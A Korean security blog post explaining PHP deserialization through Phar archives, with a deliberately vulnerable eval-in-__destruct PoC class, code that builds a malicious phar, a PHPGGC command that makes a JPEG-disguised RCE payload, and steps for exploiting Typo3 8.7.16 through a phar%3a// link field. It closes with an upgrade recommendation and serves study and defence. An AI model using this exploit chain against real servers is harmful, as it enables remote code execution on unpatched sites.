본문 바로가기
Hack/Web

Phar 파일을 이용한 PHP Unserialization

by Becoming a Hacker 2020. 9. 22.
반응형

개요

Phar(PHP Archive)는 많은 코드 파일 및 기타 리소스를 단일 아카이브 파일로 사용할 수 있는 패키지 형식입니다.

 

Phar는 Stub, Manifest, File Contents, Signature(Optional) 총 4개의 구조로 이뤄지며, Signature을 제외한 나머지 구조에 대한 설명은 다음과 같습니다.

 

Stub

<?php __HALT_COMPILER(); ?>가 존재해야만 Phar 파일로 인식합니다.

 

Manifest

Phar 파일의 Meta-Data가 포함되어 있으며, 모든 직렬화 된 객체가 포함될 수 있습니다. 해당 구조에서 역직렬화 취약점이 발생합니다.

 

File Contents

Phar 내 데이터 영역입니다.

 

직렬화 된 Meta-Data는 Phar:// Stream Wrapper에 의해 처음 액세스될 때 역직렬화 되며, __destruct, __wakeup 메소드를 통해 역직렬화 취약점이 발생할 수 있습니다.


분석

취약한 PoC 코드

<?php
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists(“phar://file.phar/test.txt”);
?>

 

PoC 코드에는 imgObject Class의 __destruct() 함수에서 내부 변수인 $output를 eval 함수를 통하여 실행하고 있습니다.

 

또한, file_exists 함수를 통하여 공격자가 생성한 phar 파일에 액세스하고 있습니다.

 

해당 phar 파일을 생성한 코드는 다음과 같습니다.

<?php
class imgObject{
}

$phar = new Phar('file.phar');
$phar -> stopBuffering();
$phar -> setStub('Stub!'.'<?php  __HALT_COMPILER();?>'); # Stub 영역
$object = new imgObject();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object); # Manifest Meta-data 영역
$phar -> addFromString('test.txt','test'); # Data 영역
$phar -> stopBuffering();
?>

 

phar 파일이 액세스 될 때 imgObject 함수의 내부 변수인 output이 재정의되어 phpinfo() 함수가 실행되는 역직렬화 취약점이 발생하게 됩니다.


Case Study

테스트 환경

PHP 7.2.24

Typo3 8.7.16

 

Phar의 Stub는 임의의 데이터 뒤에 위치할 수 있으며, 이를 이용하여 JPEG의 파일 포맷을 가진 Phar 파일을 생성하여 공격에 이용할 수 있습니다.

 

먼저 PHPGGC를 통하여 JPEG 포맷의 Phar 파일을 생성합니다.

phpggc -pj tiny.jpg -o guzzle.jpg Guzzle/RCE1 system "ls -l"

 

Typo3의 Filelist 메뉴를 통하여 fileadmin/user_upload 폴더에 생성한 guzzle.jpg 이미지를 업로드합니다.

 

이후 이미지 링크를 추가할 때 Link 필드에 phar%3a//../fileadmin/user_upload/guzzle.jpg를 입력합니다.

 

링크가 로드된 후 guzzle.jpg 을 생성할 때 입력한 system("ls -l") 명령어가 실행되는 것을 확인할 수 있습니다.

 

해당 취약점은 /typo3/sysext/core/Classes/Database/SoftReferenceIndex.php 496 Line에서 rawurldecode()가 phar%3a//를 phar://로 해석함으로써 필터링을 우회하여 실행할 수 있는 취약점입니다.

 } elseif ($containsSlash || $isLocalFile) { // file (internal)
            $splitLinkParam = explode('?', $link_param);
            if (file_exists(rawurldecode($splitLinkParam[0])) || $isLocalFile) {

대응 방안

1. Typo3 Version을 7.6.30, 8.7.17, 9.3 이상의 최신 버전으로 업그레이드 해야합니다.


Reference

https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf

https://github.com/ambionics/phpggc

https://www.hahwul.com/2018/11/phar-php-deserialization-vulnerability.html

 

'Hack > Web' 카테고리의 다른 글

Laravel Framework 보안 관련 내용 정리  (0) 2020.09.22
Reflected File Download  (0) 2020.09.22
commons-fileupload Module WAF Filtering Bypass  (0) 2020.09.21
CVE 2020-10487 (Ghostcat : Tomcat AJP)  (0) 2020.09.21
Nginx off by slash fail  (0) 2020.09.21

댓글